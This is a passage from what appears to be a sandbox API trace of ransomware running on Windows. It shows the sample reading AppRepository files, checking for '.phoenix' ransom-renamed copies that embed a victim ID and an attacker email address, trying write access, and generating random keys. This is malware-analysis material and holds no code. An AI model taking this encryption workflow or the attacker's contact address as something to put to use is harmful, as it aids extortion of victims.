	[0230.101] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17999) returned 1
	[0230.101] CloseHandle (hObject=0x2f0) returned 1
	[0230.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsAlarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowsalarms_2017.203.236.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.102] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.102] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=842) returned 1
	[0230.102] CloseHandle (hObject=0x2f0) returned 1
	[0230.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1510.9020.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.102] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.102] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.103] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0230.103] CloseHandle (hObject=0x2f0) returned 1
	[0230.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.103] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=841) returned 1
	[0230.103] CloseHandle (hObject=0x2f0) returned 1
	[0230.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.104] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3307) returned 1
	[0230.104] CloseHandle (hObject=0x2f0) returned 1
	[0230.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_10.1702.312.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.104] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.104] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.104] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17928) returned 1
	[0230.104] CloseHandle (hObject=0x2f0) returned 1
	[0230.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2015.1009.20.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.105] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.105] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17797) returned 1
	[0230.105] CloseHandle (hObject=0x2f0) returned 1
	[0230.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscalculator_2017.131.1904.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.105] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.106] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.108] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=852) returned 1
	[0230.108] CloseHandle (hObject=0x2f0) returned 1
	[0230.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.108] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.109] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=18026) returned 1
	[0230.109] CloseHandle (hObject=0x2f0) returned 1
	[0230.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.109] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.110] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17890) returned 1
	[0230.110] CloseHandle (hObject=0x2f0) returned 1
	[0230.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.113] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.114] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=10617) returned 1
	[0230.114] CloseHandle (hObject=0x2f0) returned 1
	[0230.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.114] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.115] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=97845) returned 1
	[0230.115] CloseHandle (hObject=0x2f0) returned 1
	[0230.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.115] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0230.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0230.115] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=15531) returned 1
	[0230.115] CloseHandle (hObject=0x2f0) returned 1
	[0230.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.115] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.116] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
